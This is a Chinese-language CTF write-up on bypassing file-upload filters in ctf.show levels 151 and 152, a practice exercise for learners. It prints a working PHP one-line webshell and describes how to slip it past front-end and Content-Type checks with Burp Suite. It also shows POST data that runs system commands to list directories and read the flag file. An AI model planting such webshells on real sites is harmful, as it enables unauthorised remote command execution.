这段时间一直在搞文件上传相关的知识,正好把ctf的题目写了写,也算是给自字做个总结!
不过ctf有一个缺点就是所有的测试全部是黑盒测试,无法从代码层面和大家解释,我找个时间把upload-labs靶场做一做给大家讲讲白盒的代码审计!
一、实验准备
1.ctf网站:
www.ctf.show
2.工具:
burpsuite抓包工具、hackbar工具(如果大家没有可以私我)、firefox(火狐浏览器)
二、实验过程
(一)第151关 -- 前端验证
前提:我们已知此处可以上传图片类型文件(或者右键查看网站源码可以看见只允许.png文件)
对于前端验证,我们常用的有两种方法进行绕过:
1.在右键检查->设置处启用禁止js
不过此方法不建议使用,因为我们有时候虽然能够绕过,但是当网页含有大量使用js编写的逻辑功能时,会导致网页部分功能瘫痪!
汗颜,ctf也失效了,所以还是老老实实使用第二种方法
2.将后门以.jpg/.png/.gif等允许格式发送,使用bp抓包修改后缀
上传成功!
但是此时可能会有小可爱问呐:哎哎哎,你咋知道就是前端验证呢?说出你的证据!
我们右键查看网页源码,查看到js源码过滤逻辑,只允许我们上传.png文件
3.利用后门文件
一句话木马,上下两种POST括号内参数无论带不带引号均可以:
<?php @eval($_POST['ws'])?>
<?php @eval($_POST[ws])?>
对于上传成功的后门代码,我们有两种方法去利用(本文中我们统一使用第二种方法进行演示):
(1)通过蚁剑连接寻找flag文件
payload:
https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/
upload/1.php
连接密码(即post中所填内容):
ws
(2)直接通过hackbar发送post包利用php内置system()函数执行
post data:ws=system("ls ../");
post data:ws=system("tac ../flag.php");
成功!
(二)第152关 -- 不严谨的后端验证
1.上传后门及分析
此处考察我们content-type验证为:image/png、image/gif、image/jpg
传输正确文件抓包,content-type为image/png
发送一句话木马1.php,修改content-type值为:image/png,但是没有包
此处注意一下,我直接上传1.php文件发现无法通过,定睛一看才发现前端验证都没通过,汗颜!上传1.png的木马抓包修改成1.php文件
上传成功!
2.利用后门
与151关类似,我们使用第二种方法,通过hackbar直接发包利用函数的方式获取flag
payload:
https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php
post data:ws=system('ls ../');